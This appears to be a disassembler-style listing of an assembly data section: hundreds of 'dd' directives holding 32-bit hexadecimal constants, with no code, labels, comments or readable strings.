		dd 0C4801EE3h, 0BC004E33h, 7624B908h, 3C50982Eh, 1A859173h
		dd 406EED8Ch, 0DC78F588h, 0A700463Bh, 0A447BC11h, 1FD41D7h
		dd 0DB560BE7h, 0EC20BA4Ch, 5E00EF6Dh, 1410B303h, 1432FEB0h
		dd 92705453h, 1CE0C20Fh, 4ED89A61h, 220EEC86h, 36F3DF58h
		dd 0A9B871h, 136D8FCBh,	0A874EC79h, 43987050h, 0FB44113h
		dd 9F9D00FAh, 0EF19C0CCh, 0F0054D0Eh, 4C2EE084h, 0B737BEh
		dd 0BB77092Fh, 19EAB808h, 8B368C24h, 0E00D24Eh,	0FE5B455Eh
		dd 40A80003h, 0B61498ADh, 6900C7A7h, 413BDDC6h,	98FB2BB3h
		dd 891F0041h, 0A92282FFh, 0F272B05Ch, 0F5B56C0Ch, 31810A8h
		dd 17A155F4h, 25281A9Ah, 0CAC02DFAh, 8747C5DDh,	360E008Eh
		dd 0C86244ACh, 81E3433Eh, 1BD7CD31h, 109C4A6Ah,	82944030h
		dd 529E24F8h, 0D2C2AE00h, 64F68C50h, 276D602Dh,	0C66FFDA7h
		dd 0A4FC5801h, 9D1D9426h, 770396BFh, 8ACAC52Dh,	0B314FB00h
		dd 0BA537A0h, 39C27F72h, 0FCEFAFE6h, 0BB5EFEA2h, 5DC15A43h
		dd 55D9422Bh, 31DB2240h, 2011E98h, 0CFB68EE8h, 5C2029F2h
		dd 0D86154F4h, 0CD11336Bh, 1D00BE46h, 37594C56h, 28316496h
		dd 0BC7E1Fh, 2071E075h,	0BB66099Ch, 0A7DA6C06h,	4F3431E7h
		dd 0EA81BA29h, 0B8FDEE87h, 8D7A90EBh, 116F0003h, 0F75FE983h
		dd 0D5001D9Fh, 0C820FA34h, 6C362Fh, 64162490h, 0B8616798h
		dd 0DB7AF509h, 255C8037h, 7F0B26Ch, 127E27DAh, 0D0E837F8h
		dd 0B3EE78FDh, 2AF34Dh,	0F6AB871Dh, 5AEC7Bh, 0B193ED27h
		dd 722FB937h, 6F953200h, 62F6E228h, 0CB8A5018h,	3A4400D6h
		dd 0DE7C58A4h, 0A714119Ch, 76E6EB95h, 24293B3Eh, 33405654h
		dd 9041682h, 0F62EAA7Ah, 51777003h, 0A003F9Eh, 3B810170h
		dd 593B42Ah, 0D56B1527h, 0D270001Dh, 4E96E00Ah,	0A0FC3405h
		dd 0F0401F0Fh, 3341EB73h, 413E637Eh, 0E6B0CCD6h, 57714ADCh
		dd 0EBB917C0h, 0C154BD0Fh, 5F9BE54Ch, 2BEA3E6Dh, 4568C6D4h
		dd 3C892793h, 3B894EDDh, 0BA4FE883h, 87E98787h,	0E3415369h
		dd 1347C381h, 606EB65h,	0C52D1C87h, 0F2B6850h, 0BD802C30h
		dd 528323F5h, 0C70F7198h, 0C1B56A0Ch, 8B545DE9h, 0C4A834BEh
		dd 95681B27h, 7C05410Fh, 0FF08478Fh, 835FD581h,	590F2AB2h
		dd 4513E927h, 0B8FBD9FCh, 0EEEDFA93h, 0A8DCCCA5h, 0DA221664h
		dd 51440062h, 336981D6h, 3028BF00h, 5E75AA58h, 77E001A1h
		dd 531C6079h, 969F41Dh,	7DB47C0Fh, 0A47160D0h, 0D96425h
		dd 5130F35h, 53402021h,	655A7B00h, 38C32B79h, 4EDE00DAh
		dd 2CA4D43h, 45E2E246h,	0C9567100h, 403B75F3h, 0B730023h
		dd 8B6CD601h, 640095F1h, 3216F208h, 0EACE3968h,	0AE130062h
		dd 58B9475h, 4202376Ch,	8DF37F24h, 1F3360BCh, 5465001Dh
		dd 0F10390F4h, 58017844h, 5EEA472Bh, 0A96EC18Bh, 0E67B0078h
		dd 9C41238Ah, 253500B9h, 74E5A2B3h, 3A53EE7Ch, 661670E7h
		dd 8BEBFA8Bh, 0C01B88BBh, 0A2EC6545h, 27C9D800h, 5D8589F4h
		dd 7E9312Ah, 0E48DFE58h, 12D00861h, 8C1AB832h, 0CDE57500h
		dd 0E6A1F64h, 36BE0790h, 0FE3B80DBh, 90CBEBF6h,	85C01888h
		dd 0C8E3D5Fh, 0D1BD8B26h, 0BE1666A1h, 0D0BF8297h, 4C6FE6Ah
		dd 0DCD3B300h, 5E258EBAh, 9874D129h, 0D20036BCh, 134FA557h
		dd 0D60A6F2h, 2C59D01h,	0A9D76080h, 611A3A0Bh, 6F657F6Ah
		dd 0ED601DE4h, 710180FCh, 0C69C38CDh, 0C343BE1Ah, 9580C47Fh
		dd 61A19589h, 0C083722Fh, 0DDA97B05h, 5E3ED0ACh, 842E07EEh
		dd 52115095h, 25B8880Fh, 60310076h, 28B1F88Bh, 8FA25A61h
		dd 54983442h, 0F7908D8h, 0A3D57900h, 48402EA8h,	77B90CBEh
		dd 0B9A58E7h, 229DB512h, 572E2124h, 84001723h, 0BFF5E6BCh
		dd 9DF4017Ah, 0B995FF60h, 0DF58AD0Fh, 3C6D0C20h, 3000F84Eh
		dd 0CEBABF66h, 129D8D5Fh, 3BECD72Ch, 1D2362h, 2CA4533Ah
		dd 6F021199h, 0FF329110h, 445F47D3h, 0C1B0671Dh, 7819DF63h
		dd 0A5D90020h, 12DBBE91h, 0FF141FA4h, 226C9D85h, 0AC0C060Bh
		dd 7AD0A030h, 711E4200h, 5EF28B83h, 81935E9h, 4CF6BA26h
		dd 801A8924h, 0F0B86660h, 553FB55Fh, 209B4861h,	0A8D0722Ah
		dd 946386F8h, 836B2853h, 8B203BA9h, 0C0C8D19h, 0C7B22051h
		dd 815F480Dh, 47C22AE3h, 601764A7h, 0C79A75Dh, 0F1BD8906h
		dd 0DB0D0B6Fh, 2BB1850Fh, 0ACD0ED7Ah, 72C800ABh, 5C18F9AEh
		dd 7A28BD83h, 0E8C68536h, 0B72F4C84h, 2CD65674h, 68AC0CFh
		dd 0B612359Dh, 0FEB78DE4h, 1B467636h, 11D44B00h, 0B056699Ch
		dd 85C7DC14h, 0A4524A59h, 6F57506h, 0FF555B71h,	1423A13Bh
		dd 32BE6000h, 0A468308Dh, 517CB736h, 1D467Ch, 0AD96F7BBh
		dd 0E7C550Bh, 0BE4DEEF9h, 54DB9367h, 81248C8Dh,	0FEFF231Ch
		dd 0BD01D9B9h, 2DA85BCCh, 0A0DF8896h, 0DAA768CAh, 8604012Bh
		dd 8C66B82Ah, 25FD6EDBh, 0CC289FACh, 1941B92Bh,	14F0A87Ah
		dd 0FC927E84h, 0A7008C1Ch, 9FAD22A8h, 50CE30Ah,	0A9B5239Bh
		dd 0C0A5EF1Eh, 0DD608552h, 5A1E3EFAh, 25C0347h,	0FA95C40h
		dd 5B7321BFh, 0C440EB01h, 0CCBD3324h, 9B8500E6h, 92A6B875h
		dd 8F013780h, 61F85A5Bh, 2A40E990h, 368798h, 0E3DD14DAh
		dd 0EC30C8C9h, 50A4BF19h, 0F0100A28h, 8101F75Ch, 3F7DA711h
		dd 0B0FDDBB1h, 1670F9BAh, 0EF70E6FCh, 1688B4CBh, 6ED4BC0h
		dd 0C67148E4h, 8C18E8h,	76E3D48Dh, 51B58BF6h, 0F9E0550h
		dd 0D1D8B62Bh, 1F55778h, 939EF62Dh, 6083E061h, 0F977D883h
		dd 2D06BA30h, 3F5B57BFh, 0C304631Bh, 0D079B529h, 4E8C1A8h
		dd 5D7896BBh, 826D00A6h, 0FC468A1Bh, 0E25BF766h, 895940BBh
		dd 877578EBh, 8B004D71h, 0F7F6C7Ah, 14059B35h, 7C2B04CDh
		dd 8C17BCh, 2C4DD4D7h, 93F6B70Fh, 0B9CFBF01h, 0E95074E7h
		dd 6D023508h, 81E1E08Fh, 44776793h, 89D16016h, 0F7FCA6h
		dd 78832557h, 0B5FFF18Bh, 0F6BD4AB2h, 254CDC66h, 81D1092h
		dd 9A31A650h, 78239B38h, 8400FE54h, 0E4793565h,	7BC78166h
		dd 5E8B7C60h, 5F6EAEB0h, 2C8AD903h, 0AE10E3C7h,	0A1511625h
		dd 91F0E466h, 7800B684h, 0BEA40A16h, 4813D8B3h,	0A54CAA2Ch
		dd 90C0622h, 6E151D95h,	2C617E3Ch, 872FCD83h, 99E5BD29h
		dd 0EE819E18h, 679C8509h, 827B1A69h, 0A0AC9B2h,	0DC712E7Ch
		dd 0BAB23Fh, 146BE337h,	927DAFCCh, 3540E59Bh, 1489465Ah
		dd 0BCB59C1Dh, 0FF5DEB04h, 0BD28C01Eh, 84D51871h, 6BEF5B90h
		dd 0F9161330h, 0C15F04FAh, 0F418066h, 75A1028Ch, 10A621F7h
		dd 39621749h, 28DA1214h, 6115459Eh, 95ED40ACh, 98D813BDh
		dd 55880F3Ah, 1E40B01Dh, 5868F8D6h, 596B3B9h, 0C1FFD4A5h
		dd 11AAD24h, 2273C183h
		dd 8E3015B2h, 0D93B2E9Ah, 20E11CE4h, 15448D87h,	60034E61h
		dd 6399D99Eh, 531815D1h, 0C1F6C916h, 9F93984Bh,	801A9155h
		dd 0A99914A6h, 587302A2h, 0A428BF66h, 0BE0294CCh, 5E1BE429h
		dd 2C53FD5Bh, 0E286B858h, 54FF09B4h, 81825A9Bh,	0EC682BFBh
		dd 3D802D4Dh, 4D084A34h, 8D432895h, 11E9FE2Ch, 0DEBC6F29h
		dd 54526302h, 60C08BFCh, 83259D0Ch, 0D84AFFC7h,	144674C5h
		dd 0B5313A02h, 907206FDh, 0F9B8FCE8h, 36C115Dh,	53D1D5B3h
		dd 3D7A53F8h, 433019A2h, 528B0EE5h, 52727EACh, 12318E88h
		dd 0EC8F2B85h, 0CCC01788h, 2813710Eh, 902F85FFh, 0C352008h
		dd 99482299h, 1C465Ch, 8314C068h, 2393B0Ch, 85892A19h
		dd 2ACF171Dh, 0C5601D44h, 0FB0035EFh, 43DC0ABEh, 5EF9443Ch
		dd 0FD40EB90h, 873B824Dh, 0C5050363h, 918EAE41h, 0AA145E13h
		dd 210E31Fh, 6E375F25h,	31E40E03h, 1CDABDh, 0C6D9EF81h
		dd 0F179B126h, 7857C43Eh, 6675EE53h, 2C667112h,	5E5BBC03h
		dd 50B99529h, 0BDFF832Bh, 0D6DED4h, 0C68768D3h,	53601103h
		dd 0C1852313h, 509C8854h, 618126C1h, 47AC733h, 0D0E18167h
		dd 7DA1C28Dh, 7B5F9849h, 0E5ACC3E9h, 5F627500h,	0F37BF6F0h
		dd 0BED30291h, 63D91E5Bh, 36851FDh, 10818D29h, 189C6E4Ch
		dd 950D0975h, 0F9ABCB9Dh, 788039B7h, 73B93292h,	0E9CE0799h
		dd 19FFF814h, 30C5F36Dh, 562DCCCh, 7D782333h, 0E4F2BF1Ah
		dd 6FC18B17h, 0E2BA0264h, 6064E10Dh, 9EB1202Ch,	2C3F0933h
		dd 1104C8E4h, 577A7C80h, 14DF1E80h, 615F2DD5h, 8D896198h
		dd 5EBFCD5Eh, 2D2F1037h, 0DF3FBAF9h, 19F9A5D1h,	40356920h
		dd 0F4B09003h, 0E7BA5074h, 58121435h, 0CDC0219Bh, 4D7DBD2Ah
		dd 0A7FE3B40h, 671D4426h, 32A409B0h, 4E85016Bh,	8B5F4867h
		dd 0A28140F3h, 74AED42h, 190FEC6Eh, 0A2D9B480h,	0D9E821FAh
		dd 0FC1F6D1Bh, 8A410209h, 6CE185A4h, 60F10060h,	1FA15EC4h
		dd 0C0BF851Eh, 85E90461h, 7F900B31h, 0B4FF068h,	0BCC2AF03h
		dd 91FA7384h, 2AD8D510h, 3012E88Eh, 5FB28C3Eh, 4FB65750h
		dd 0FF9E8511h, 0D6585A1Ch, 0D2D0FA90h, 9FCBB9h,	0F84F8498h
		dd 5935453Bh, 2F20D717h, 0DF843885h, 0D8BA771Ah, 45DCB79Fh
		dd 1005E9A8h, 0C5C671EBh, 345A34B3h, 0CEF225h, 0F1B4B07Eh
		dd 738FEE8Bh, 0EC5F285Bh, 2FE52086h, 0D35AFFF0h, 9E05936Eh
		dd 251AE002h, 5E12A37Fh, 3426BFBh, 3CCE0B50h, 9AEEE0A1h
		dd 0D6E91685h, 1023CB07h, 0B44842ACh, 5A166110h, 890C213Ch
		dd 4500D7E8h, 37E01506h, 5F6E66Fh, 91B856A1h, 2CDDE02Ah
		dd 9D768182h, 0FF2D2019h, 0C6BA60E8h, 0ECEA4CB4h, 0CBE002D6h
		dd 0A1B185F4h, 7D4548DAh, 3209B688h, 0ADBF831Dh, 172C9140h
		dd 16FF517h, 6052FB18h,	3495212Bh, 952E01A4h, 618BC02Dh
		dd 24C8885Eh, 7AFB5E3Fh, 9FD507DFh, 0F3728A22h,	2B54E1BDh
		dd 0F25BF5C2h, 72BF0278h, 1C4329EBh, 8D443853h,	3699DBA6h
		dd 3BC2119Dh, 0D1BAEAAAh, 0F78B8BF5h, 3967CA42h, 7E611544h
		dd 0F96330A9h, 3E46C7B4h, 0DC23B423h, 0F1CCD604h, 29B3A553h
		dd 9110194Ch, 60501335h, 30643E1Eh, 20123116h, 0E3613A0Bh
		dd 28106E86h, 950F21D2h, 9DB00221h, 841991BBh, 25873FF3h
		dd 0C0528442h, 8030698Fh, 0B60BBF5Fh, 5BDFD6h, 0BB84C661h
		dd 0A97053E6h, 0C93019A2h, 0DEE04Ch, 0E4F8A36Ch, 0D5B52B71h
		dd 523174Fh, 1D29C90Bh,	51012A7h, 3D21BD2Bh, 0EE8E3001h
		dd 0E59C1842h, 4602AF26h, 7040393Ah, 3D8E80D3h,	0EBC08224h
		dd 969C0B15h, 54F78182h, 93D06156h, 54F8F242h, 0F30C3249h
		dd 5E53BD82h, 86B69304h, 0F5B5CE2h, 0F29F57AFh,	5A0EB81h
		dd 0DBF42EA4h, 0D4BF0432h, 0B61D3070h, 3015B20Dh, 109D734h
		dd 1211999Dh, 0EEFD120h, 0A0038E1h, 253B18EEh, 2D533900h
		dd 2945DCB4h, 0B715B8Dh, 25475F7Dh, 0AE601664h,	0F294F6BFh
		dd 96A7109h, 7B73C6B0h,	0DC4E9EE4h, 0AB8F6324h,	281FAD08h
		dd 0C792D06h, 2654618h,	15F15599h, 77128218h, 50258B0Fh
		dd 44843B84h, 21C13704h, 40416A8Dh, 6A273501h, 426BFF5Eh
		dd 0B2A57007h, 5C375B8Bh, 9B98794h, 2CFE82F6h, 5A59B09Eh
		dd 0EE71651Dh, 0B6F001F3h, 3002BB0Eh, 8CCCA319h, 9C1607Ch
		dd 14354B95h, 0BA5FBE5Ah, 0EB2E806Bh, 7A5815BFh, 91B4FEACh
		dd 532E6A91h, 0CDC263A8h, 234F35B0h, 0F83AB400h, 67BF7DFCh
		dd 33221C51h, 0A4096D5Fh, 7B80F2BDh, 728D42DCh,	0BD0309A1h
		dd 7B7A0F25h, 0C410F75Ah, 8DD70BCCh, 13AC4978h,	459FE868h
		dd 0C160AB58h, 2A958Bh,	0A909858Bh, 0A26861AEh,	41314550h
		dd 888B3C08h, 7D8BA8DEh, 0E8FFBEE5h, 18465C6Bh,	1F5A303h
		dd 0C817EA55h, 9ABE5BF1h, 85B1C0D5h, 1BDF06Ch, 0DBCE81FBh
		dd 38147A8Ah, 53E16AFAh, 91FED08h, 2437C32Bh, 0BF0F3885h
		dd 5AED83B0h, 49B5282Eh, 8122108Bh, 4E6B7221h, 71EDDD17h
		dd 31BF9F60h, 1780756Ah, 0C5C07A27h, 31F4BF7Bh,	0EB0400BEh
		dd 6A1759F5h, 0B70056B6h, 0A9D7A8E2h, 17B57BE0h, 0EBC08B81h
		dd 88F392D0h, 5C950513h, 0A68CE5AAh, 0E28D42DEh, 80843015h
		dd 0BCFA8B2Eh, 3D9C4825h, 74B42B5Fh, 322C5829h,	0D6B5DBA1h
		dd 947909h, 6E5E50E5h, 55068B76h, 216F28FCh, 0B274BFE0h
		dd 859500D6h, 0AA89CD48h, 0F45BCAA0h, 8A12083Ch, 0C298482h
		dd 0F9EFE629h, 5F0A25DDh, 14D425EEh, 0DF16B351h, 54C4663Dh
		dd 3E0F0D20h, 0B5C88990h, 5585849Dh, 713F241Ch,	0B958DB00h
		dd 92025079h, 0BF68A462h, 444847F8h, 77C46017h,	20E74B88h
		dd 97EB5E9Bh, 0D7E96D00h, 6508FEF0h, 0BA386E71h, 0A4331BA8h
		dd 5BA2CC95h, 52F6110h,	0F05BF66h, 7FE047E6h, 0FCE2B3E4h
		dd 3185091Ah, 0C031ED61h, 28A61EF1h, 0FCC4E918h, 991359A4h
		dd 1814F171h, 0B5290952h, 32E82095h, 0F8648BF0h, 5DF9BD5Ah
		dd 5ED68104h, 0E0A3B638h, 7C26C8h, 5C64ACA0h, 3BE662Bh
		dd 5DAE845Eh, 81858080h, 3414B397h, 6704EA00h, 2AC73D6Eh
		dd 0AA8001EFh, 0E9F85961h, 49E16856h, 0E6DCBCE8h, 0E32C0566h
		dd 0F039B533h, 0A9EC0B45h, 600C0D66h, 160520FAh, 0B51CB94Bh
		dd 21DE84BDh, 95A81D8Dh, 0A1F08546h, 84042DE3h,	654EF3C2h
		dd 2221C781h, 0D92C5E06h, 0F6571Dh, 9A7E50C5h, 45958B35h
		dd 7924315Fh, 0CB295D4Eh, 8379C0D5h, 0FB015FE1h, 41E73F33h
		dd 597D452Eh, 980546B8h, 34419D8Bh, 2E063432h, 930DD7FFh
		dd 8DF26044h, 535A72DAh, 815FFF00h, 29E2D4C8h, 0AAC66E9Ch
		dd 9B0F52D3h, 6011407Dh, 71B5011Ah, 5AAE620Fh, 70614C3Bh
		dd 10971622h, 0FE7E00h,	0D0BEA18Eh, 0EBB58580h,	2544A43Bh
		dd 0C47F70E9h, 9E1E5D60h, 0AAF9CAB1h, 290A54A2h, 8D35499Dh
		dd 0FC337FE8h, 0A5C793F9h, 85313E47h, 1A320C15h, 0B49A2917h
		dd 2007050h, 0F4C5F662h, 7B9D5AFh, 9CDAEE5Ch, 166965E8h
		dd 8A81DBB8h, 5D09EB96h, 0FB8F3A26h, 0A3CF703Fh, 0C679EA24h
		dd 0E82FBD0Ah, 0C50DE146h, 40D996Ch, 0E719110Ch, 6A8BA108h
		dd 418D1D20h, 49CB142Ah, 4790E837h, 121F9DECh, 31007F36h
		dd 0D411FC6Ch, 4B673F57h, 79AA4804h, 0F1B28123h, 455B0201h
		dd 0BD298771h, 10CB3D8Dh, 0B7DA815Fh, 1ECAE015h, 0AE0B221Bh
		dd 0E3810A05h, 28D980FFh, 0EE52968h, 0CBED6BBDh, 0F96A1040h
		dd 0D4B14F9Ch, 65B01CC5h, 7F60C54Fh, 0FE71ECC2h, 58C70DCBh
		dd 3D561D85h, 0AF8B3C68h
		dd 3724F5F1h, 1C42D45Dh, 526D648Eh, 89C7580Eh, 826C0B16h
		dd 17A15900h, 520D2D82h, 811900AEh, 0BA66B4A3h,	5B6D8EEEh
		dd 0B5377A56h, 0D648E8B0h, 5AF9500Ah, 5FAF4DFCh, 6DFD558Bh
		dd 0C4FA60C3h, 8858FFB8h, 40EFCF7Fh, 0FB28A1Fh,	7E7800CEh
		dd 0CF8663F2h, 0E41F6218h, 0DBA45D74h, 0A1DCCF2Eh, 46D4B575h
		dd 3EF317B2h, 0C4D7C1E3h, 2985CDCFh, 0BC98D124h, 74DB00D6h
		dd 89057ADAh, 0CFB6559Dh, 918D0302h, 9CB72935h,	0AD871580h
		dd 2E3528B2h, 85A06CEh,	0EB191E0Dh, 84DB9D58h, 5FEC25FDh
		dd 3DD8F61Fh, 6E11FC4h,	2ECCBC81h, 0ACF7E97Fh, 0A0F90966h
		dd 0FDA44B03h, 78F80B34h, 6075444Ch, 6477D4BDh,	16A4535h
		dd 83FE6FBh, 9EEC9FDBh,	0B0E51589h, 0C106954Ch,	3C680CEFh
		dd 0B4200437h, 0D2570223h, 28DFF00Dh, 0E41A95FFh, 0F87EE132h
		dd 30DFA0ABh, 11A940C5h, 853F0B53h, 0E1E1B2Dh, 50288325h
		dd 57C1A6Ah, 12006E56h,	0E0C1C361h, 4FEB0600h, 0FA251C8Fh
		dd 0A10803ABh, 0A4ACDAC6h, 5CD2D4D0h, 0CEE0E4E2h, 0F531340Eh
		dd 0B327A11Bh, 5BE4D129h, 2AC70FDDh, 9E9F17E6h,	0DB6787DFh
		dd 7C010AA6h, 0DDB48700h, 0D9202352h, 0E912E19Eh, 0B79D0FE4h
		dd 6E923DC6h, 31DDA037h, 2F8A0E40h, 39D561C7h, 7B6B9DA0h
		dd 22950772h, 91B07F18h, 780FF52Bh, 26DCBF8Ah, 0F413F9C0h
		dd 0DD7D00CDh, 60677612h, 703D746h, 50A85651h, 85B88B59h
		dd 89141D08h, 1F05A92Fh, 2ECF805Fh, 0AA007903h,	40F03970h
		dd 0A402FAh, 7CBA753Dh,	5A649792h, 0B704C22Dh, 80F59C39h
		dd 8D895351h, 94A32B81h, 5F019C5Bh, 0DEEF8060h,	0EC7FBDFDh
		dd 0AE613EB0h, 0A0C07EC0h, 0EAD44Eh, 0CD1565A4h, 1B767E14h
		dd 31281E0Bh, 1945F59Dh, 0D0321344h, 0A29D8D20h, 0F7F4BDD5h
		dd 211411D1h, 19D4EF1Ah, 44010A60h, 9095C022h, 0DFE0DFh
		dd 0D45533BCh, 0C25428CBh, 0DD2FA300h, 693759Ch, 9701B849h
		dd 0C7851EA9h, 505CE9BDh, 4F3E71C3h, 0FC9BDAEDh, 0C8E0A080h
		dd 0E95EDA91h, 5BBF9240h, 0F6EABEh, 0D60FCAFDh,	2CB43DDDh
		dd 9850C92Eh, 35EFF60h,	35E400A9h, 0D2E9AEE2h, 78731020h
		dd 1E974600h, 7EB6C40Ch, 2F3BE5Ah, 0DD58529h, 3F2E5E84h
		dd 0C80B1523h, 38776406h, 0E4009226h, 6B0A9712h, 20EF5B7Dh
		dd 0F5249C8h, 0A09D389Eh, 0B6501A20h, 0AA09994Fh, 6190C952h
		dd 0A317E120h, 0F64CD54Ah, 260F858Bh, 1A86CFB7h, 4599BF59h
		dd 0B791FC1Bh, 15008DE2h, 62D885A5h, 0C112224h,	0C933F042h
		dd 0CABE0849h, 659FB0Bh, 0C8979115h, 21A66D58h,	3B502190h
		dd 232E4CDDh, 25BBD0C8h, 583E298Eh, 64F1916Eh, 0E0CFF647h
		dd 35968A5h, 9F32B04Ch,	0BAC066B9h, 930889AAh, 9C048C0Fh
		dd 14DA6451h, 1805A781h, 0FE4110FDh, 104E5F2h, 53310DBDh
		dd 16E63235h, 7354C1E4h, 25FF6129h, 0F2216BADh,	0DDC06133h
		dd 3A1300B7h, 7C54424Dh, 0B8A0EFCEh, 6CB35ACBh,	81C73727h
		dd 0D623D188h, 71B5C489h, 93994D98h, 0A83ED5A1h, 24F4DDD4h
		dd 0F8DE4486h, 0D6522690h, 0D0F6D2D5h, 0CAE0DDA3h, 3C14E483h
		dd 85CDE832h, 1187B5E2h, 8B50CE10h, 3B6491C8h, 0E2BA5280h
		dd 0F7D6556h, 51123163h, 6E0C785Ah, 591E438Fh, 2E8B0458h
		dd 9ECBC414h, 0E46DFA1Fh, 6F840085h, 0CC5B254Dh, 64011AC4h
		dd 791659B2h, 94CEDE80h, 0D4ADBEFCh, 0FF87F700h, 21850160h
		dd 8507B203h, 0D6DB2CE8h, 3E3FC83Ah, 0CD5AE2F8h, 95E7981Dh
		dd 0CE22E1F9h, 34DE542h, 91EB0129h, 958B0B92h, 0CE8A6229h
		dd 4D9B0B3h, 45F7EB68h,	0BDC82B1h, 828E5829h, 54B40ABCh
		dd 2061C609h, 0D9754EA7h, 0A0FC5622h, 8D2C3558h, 81352C77h
		dd 0E68061C2h, 2F875912h, 8626C620h, 8C100D54h,	6BDAC8C0h
		dd 401F3A6Fh, 0A131C0ACh, 0B8EE6A7Fh, 81E6D5B2h, 1054EA24h
		dd 948E8514h, 6C304B3Eh, 0ACAA38E7h, 306C628Ch,	5D0A1EADh
		dd 5708360h, 5B504FDBh,	0BFB8918Dh, 0C2F50D63h,	0F8906D5Ch
		dd 48CE4179h, 7FA0E850h, 1300BC3Fh, 4A9D54A9h, 0EA76B860h
		dd 8A2E0215h, 585F61C3h, 1EDCDF7Ch, 925A0B5Ch, 0F9DC8C07h
		dd 4047DEBFh, 8227C1BAh, 2FBC2951h, 0C9A0D81Dh,	0F7A75DFAh
		dd 35496209h, 0E4F37911h, 0FB28AF22h, 3E252908h, 3B908327h
		dd 0C481185h, 7EC2A43Bh, 966A8881h, 0C1B2CE14h,	8C1529E9h
		dd 0A98B9F0h, 3AB250ABh, 98E449B5h, 1E172D00h, 41A4968Ch
		dd 9DA1011Fh, 0A5D573B5h, 70946C45h, 118B905h, 0C1214F9Bh
		dd 1C30F78Ah, 9E8FACC8h, 0FF0BDC1Bh, 0D9BE13BBh, 3F7800A9h
		dd 3057F702h, 0D940250Ah, 0DECABC26h, 100EED09h, 7CC3BFE6h
		dd 0BC185031h, 264A8B79h, 0C16A6BD2h, 0FC7F80F0h, 0CF98440h
		dd 10C14D9Dh, 99ED9F55h, 67F15800h, 0C9EEBDF5h,	0B350ED26h
		dd 0DBE8EFCAh, 61492420h, 0B0D7265Ch, 0D3679D48h, 0C0F3ED99h
		dd 0A80738EEh, 9048821Eh, 0EF888112h, 0E9FE0033h, 0A5365842h
		dd 3D010438h, 26CE9515h, 0F9D78EEAh, 0B320432Fh, 5A1D004Dh
		dd 8502E6BAh, 260A6870h, 6BAD465Ch, 0DB9CBECh, 59DA3FDEh
		dd 0DC602514h, 38BEBAA3h, 97234108h, 16A8A28Ah,	985AB18Dh
		dd 0E1806DF0h, 70F5F915h, 1B5A01DEh, 0D907677Ah, 0C057AB6Dh
		dd 82F49272h, 22179C48h, 8E879D69h, 996197C7h, 5082E2D9h
		dd 5009BD23h, 0CC596B23h, 7AC0594Dh, 24950984h,	523D2691h
		dd 0CF9BEA58h, 0CB8A5004h, 12C3889h, 0E32D009Dh, 636C9E99h
		dd 38961800h, 5BD92F9Fh, 5AFF1340h, 4245C78Bh, 9B6661D8h
		dd 3871144h, 8002FEAAh,	7FA0F7C7h, 0C0333C5h, 0CABA60CBh
		dd 0FB3C26E6h, 254C249Fh, 0A45505EAh, 3CD88F82h, 4A7692D7h
		dd 81E2D1h, 81AFF580h, 793788DAh, 0B6A241Ah, 5C13110Fh
		dd 34C580F0h, 4396E5h, 573F333Eh, 5F5672A8h, 36FB20E3h
		dd 0F90C8A8h, 0B820862Dh, 8191Eh, 1361A4B6h, 89EDB43Ch
		dd 0E87C8A12h, 9AA0E327h, 7384D123h, 5A016D76h,	1C8523CDh
		dd 0A080EF93h, 2298ED1Dh, 40C757Dh, 0CE3219B1h,	4AB2EC85h
		dd 0F7FAC8AAh, 0EE372900h, 0D2C16E83h, 2E19588h, 396E6A90h
		dd 3726E500h, 5B71C665h, 0C1DCB827h, 2A070C09h,	0B0601778h
		dd 0E7013295h, 0D41592ADh, 9221F20Bh, 25315074h, 0C8A2C585h
		dd 0D31A40B5h, 0E4115072h, 8091D09h, 2FD39852h,	42E8007Fh
		dd 0EB669821h, 0ACA205FFh, 77DAFDh, 8E1285F7h, 243489CDh
		dd 503A18B0h, 927C480Fh, 0ABB8471Ah, 80F2371Bh,	8FBB1B19h
		dd 0D2B8516Eh, 5F9952BEh, 7A2A245Bh, 0FF700C1h,	80FD7E3Dh
		dd 0BB717D1h, 95C9FAC0h, 41B195E0h, 6CEC826h, 0A9D827B7h
		dd 9C0D2C08h, 27B593D7h, 2046F336h, 1A09261Ah, 1ADBFF9Fh
		dd 5962D70h, 90704B3Bh,	4EBFA857h, 10DE2954h, 0CC5B19C1h
		dd 0A800C6A1h, 0CF4256DBh, 33E68A4h, 6DFD6B8Ah,	0AF88B587h
		dd 0BA0E505Ah, 2B32D183h, 70485390h, 6002BBDAh,	0BD31C18Bh
		dd 0A0FC7481h, 2DD399CCh, 0B70381B7h, 0F0B0EED2h, 2E20D48Ch
		dd 10BF8982h, 7ED34523h, 2C56EBB9h, 0DDD72CF0h,	667D3413h
		dd 0DE1C6500h, 9405DCE9h, 67C7807Ah, 80D68BF4h,	66207E38h
		dd 9823CB76h, 985B9880h, 22605880h, 542A5110h, 0CF508A00h
		dd 114AC5D8h, 89651A48h, 0A504D680h, 81A8ECA0h,	403B25CFh
		dd 26556E6Bh, 1228D1B3h, 0FCB9661Eh, 6071F2E8h,	0E95E5116h
		dd 0C913C8h, 74FCA19Ch,	3A7344B5h, 0EBF52D00h, 0A5486D64h
		dd 18721C5Ah, 46905461h
		dd 8C1AB8h, 0CBBD8058h,	392E1F3h, 1396EDECh, 53C42Dh, 3B9DF7E8h
		dd 0EA43E2C8h, 2FB79901h, 2EDCF01h, 7D399821h, 8E1C6EB8h
		dd 70C29F51h, 40743D1Dh, 80354D1Dh, 0DF0BBF50h,	49415C29h
		dd 23D98D21h, 0C05C5F09h, 27B8DC59h, 0CFBF0B7Dh, 6418923Bh
		dd 690167E5h, 88AE33FFh, 0A0E456C4h, 2012907Fh,	5F771BA9h
		dd 0A19BD85Eh, 311BDF80h, 61023C0Eh, 87E77C3Bh,	0C50AD460h
		dd 587AF985h, 0A0B2CE17h, 645F3632h, 70B400A1h,	0C70F21C3h
		dd 0F12D04ECh, 6794107Bh, 695F0091h, 2DA00307h,	63002AB3h
		dd 2EF322BEh, 2C910119h, 6023615Bh, 8F48B78Ch, 2CF09501h
		dd 583502C5h, 35D7812Ch, 1137B8ACh, 40581484h, 19E3D32Ch
		dd 408C2D04h, 5D95231Ch, 80317F9Ah, 5C851E38h, 6EB5172Bh
		dd 717B3347h, 0B7438407h, 881248F8h, 0E1373BD6h, 4E6182D3h
		dd 8647DB27h, 65B8F008h, 4C3BF25Ch, 2F18FE39h, 0FFBED0C4h
		dd 2B3DC816h, 0B06FB100h, 0BAB73E5Fh, 21FD0057h, 5D3A03C1h
		dd 0AF4E6168h, 0C89BA120h, 0D410942h, 0E81D53Eh, 0C559D2FBh
		dd 1F593009h, 77294080h, 0EBAF958Dh, 63C46DA9h,	11B8410h
